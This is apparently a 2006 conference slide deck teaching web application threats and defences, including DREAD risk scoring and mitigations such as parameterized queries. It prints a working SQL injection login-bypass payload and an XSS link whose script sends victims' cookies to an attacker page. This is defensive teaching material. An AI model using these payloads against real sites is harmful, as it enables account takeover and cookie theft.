Web Application Security Considerations

Eric Peele, Kevin Gainey

*International Field Directors & Technology Conference 2006*

*May 21 – 24, 2006*
Types of Threats

- Threats against the network:
  - Spoofed packets, etc.

- Threats against the host:
  - Buffer overflows, illicit paths, etc.

- Threats against the application:
  - SQL injection, XSS, input tampering, etc.
Why Security?

2002 Computer Crime and Security Survey

Percentages of companies who participated in the survey

- Reported security breaches in the last 12 months: 90%
- Acknowledged financial losses as a result: 80%
- Identified Internet connection as frequent source of attacks: 74%
- Reported intrusions to authorities: 34%

**How Does This Happen?**

### Common Software Vulnerabilities

Percentages of apps that have "serious design flaws" in the indicated areas:

- **Session management**: 79%
- **Parameter manipulation**: 73%
- **Access control**: 64%
- **Cryptographic algorithms**: 61%
- **Handling of sensitive data**: 41%
- **Administrative controls**: 36%
- **Input validation**: 32%
### Threats Against the Application

<table>
<thead>
<tr>
<th>Threat</th>
<th>Examples</th>
</tr>
</thead>
<tbody>
<tr>
<td>SQL injection</td>
<td>Including a DROP TABLE command in text typed into an input field</td>
</tr>
<tr>
<td>Cross-site scripting</td>
<td>Using malicious client-side script to steal cookies</td>
</tr>
<tr>
<td>Hidden-field tampering</td>
<td>Maliciously changing the value of a hidden field</td>
</tr>
<tr>
<td>Eavesdropping</td>
<td>Using a packet sniffer to steal passwords and cookies from traffic on unencrypted connections</td>
</tr>
<tr>
<td>Session hijacking</td>
<td>Using a stolen session ID cookie to access someone else's session state</td>
</tr>
<tr>
<td>Identity spoofing</td>
<td>Using a stolen forms authentication cookie to pose as another user</td>
</tr>
<tr>
<td>Information disclosure</td>
<td>Allowing client to see a stack trace when an unhandled exception occurs</td>
</tr>
</tbody>
</table>
SQL Injection

- Exploits applications that use external input in database commands
  - Input from <form> fields
  - Input from query strings
- The technique:
  - Find a <form> field or query string parameter used to generate SQL commands
  - Submit input that modifies the commands
- Compromise, corrupt, and destroy data
How SQL Injection Works

**Model Query**

```
SELECT COUNT(*) FROM Users
WHERE UserName='EPeele'
AND Password='secret'
```

**Malicious Query**

```
SELECT COUNT(*) FROM Users
WHERE UserName='' or 1=1--
AND Password=''
```

"or 1=1" matches every record in the table

"--" comments out the remainder of the query
Cross-Site Scripting (XSS)

- Exploits applications that echo raw, unfiltered input to Web pages
  - Input from `<form>` fields
  - Input from query strings

- The technique:
  - Find a `<form>` field or query string parameter whose value is echoed to the Web page
  - Enter malicious script and get an unwary user to navigate to the infected page

- Steal cookies, deface and disable sites
How Cross-Site Scripting Works

URL of the site targeted by the attack

```
<a href="http://.../Search.aspx?
Search=<script language='javascript'>
document.location.replace
('http://localhost/cookietheft.aspx?
Cookie=` + document.cookie);
</script>">...
</a>
```

Query string contains embedded JavaScript that redirects to attacker’s page and transmits cookies issued by Search.aspx in a query string
HTTP is a stateless protocol
- No built-in way to persist data from one request to the next

People are stateful beings
- Want data persisted between requests
- Shopping carts, user preferences, etc.

Web developers sometimes use hidden fields to persist data between requests

Hidden fields are not really hidden!
How HF Tampering Works

Page contains this...

```html
<input type="hidden" name="price" value="$10,000">
```

Postback data should contain this...

`price="$10,000"`

Instead it contains this...

`price="$1"`
Session Hijacking

- Web applications use sessions to store state
- Sessions are private to individual users
- Sessions can be compromised

<table>
<thead>
<tr>
<th>Threat</th>
<th>Risk Factor</th>
</tr>
</thead>
<tbody>
<tr>
<td>Theft and replay of session ID cookies</td>
<td>High*</td>
</tr>
<tr>
<td>Links to sites that use cookieless session state</td>
<td>Medium*</td>
</tr>
<tr>
<td>Predictable session IDs</td>
<td>Low*</td>
</tr>
<tr>
<td>Remote connection to state server service</td>
<td>Medium</td>
</tr>
<tr>
<td>Remote connection to state server database</td>
<td>Medium</td>
</tr>
<tr>
<td>Eavesdropping on state server connection</td>
<td>Medium</td>
</tr>
</tbody>
</table>

* Shorter session time-outs mitigate the risk by reducing the attack window
Identity Spoofing

- Security depends on authentication
- If authentication can be compromised, security goes out the window
- Authentication can be compromised

<table>
<thead>
<tr>
<th>Threat</th>
<th>Risk Factor</th>
</tr>
</thead>
<tbody>
<tr>
<td>Theft of Windows authentication credentials</td>
<td>High</td>
</tr>
<tr>
<td>Theft of forms authentication credentials</td>
<td>High</td>
</tr>
<tr>
<td>Theft and replay of authentication cookies</td>
<td>Medium*</td>
</tr>
<tr>
<td>Dictionary attacks and password guessing</td>
<td>High</td>
</tr>
</tbody>
</table>

* Depends on the time-out values assigned to authentication cookies
Information Disclosure

Which is the better error message?

- Invalid login
- The user name you entered is valid, but the password is not. Try shortening the password by three characters and using more lowercase characters
DREAD

D Damage potential
What are the consequences of a successful exploit?

R Reproducibility
Would an exploit work every time or only under certain circumstances?

E Exploitability
How skilled must an attacker be to exploit the vulnerability?

A Affected users
How many users would be affected by a successful exploit?

D Discoverability
How likely is it that an attacker will know the vulnerability exists?

DREAD, Cont.

<table>
<thead>
<tr>
<th></th>
<th>High (3)</th>
<th>Medium (2)</th>
<th>Low (1)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Damage potential</td>
<td>Attacker can retrieve extremely sensitive data and corrupt or destroy data</td>
<td>Attacker can retrieve sensitive data but do little else</td>
<td>Attacker can only retrieve data that has little or no potential for harm</td>
</tr>
<tr>
<td>Reproduc-ability</td>
<td>Works every time; does not require a timing window</td>
<td>Timing-dependent; works only within a time window</td>
<td>Rarely works</td>
</tr>
<tr>
<td>Exploitability</td>
<td>Bart Simpson could do it</td>
<td>Attacker must be somewhat knowledgeable and skilled</td>
<td>Attacker must be VERY knowledgeable and skilled</td>
</tr>
<tr>
<td>Affected users</td>
<td>Most or all users</td>
<td>Some users</td>
<td>Few if any users</td>
</tr>
<tr>
<td>Discoverability</td>
<td>Attacker can easily discover the vulnerability</td>
<td>Attacker might discover the vulnerability</td>
<td>Attacker will have to dig to discover the vulnerability</td>
</tr>
</tbody>
</table>
### Example

<table>
<thead>
<tr>
<th>Threat</th>
<th>D</th>
<th>R</th>
<th>E</th>
<th>A</th>
<th>D</th>
<th>Sum</th>
</tr>
</thead>
<tbody>
<tr>
<td>Auth cookie theft (eavesdropping)</td>
<td>3</td>
<td>2</td>
<td>3</td>
<td>2</td>
<td>3</td>
<td>13</td>
</tr>
<tr>
<td>Auth cookie theft (XSS)</td>
<td>3</td>
<td>2</td>
<td>2</td>
<td>2</td>
<td>3</td>
<td>12</td>
</tr>
</tbody>
</table>

**Potential for damage is high**
(spoofed identities, etc.)

**Cookie can be stolen any time, but is only useful until expired**

**Anybody can run a packet sniffer; XSS attacks require moderate skill**

**All users could be affected, but in reality most won't click malicious links**

**Easy to discover: just type a `<script>` block into a field**

---

**Prioritized Risks**
Addressing the Problem

- Never trust input – validate everything
- Utilize stored procedures or parameterized queries
- Keep session cookie durations short
- Never store sensitive information in cookies
- Encrypt, encrypt, encrypt
- Improving Web Application Security: Threats and Countermeasures

- Writing Secure Code, Second Edition
  by Michael Howard, David LeBlanc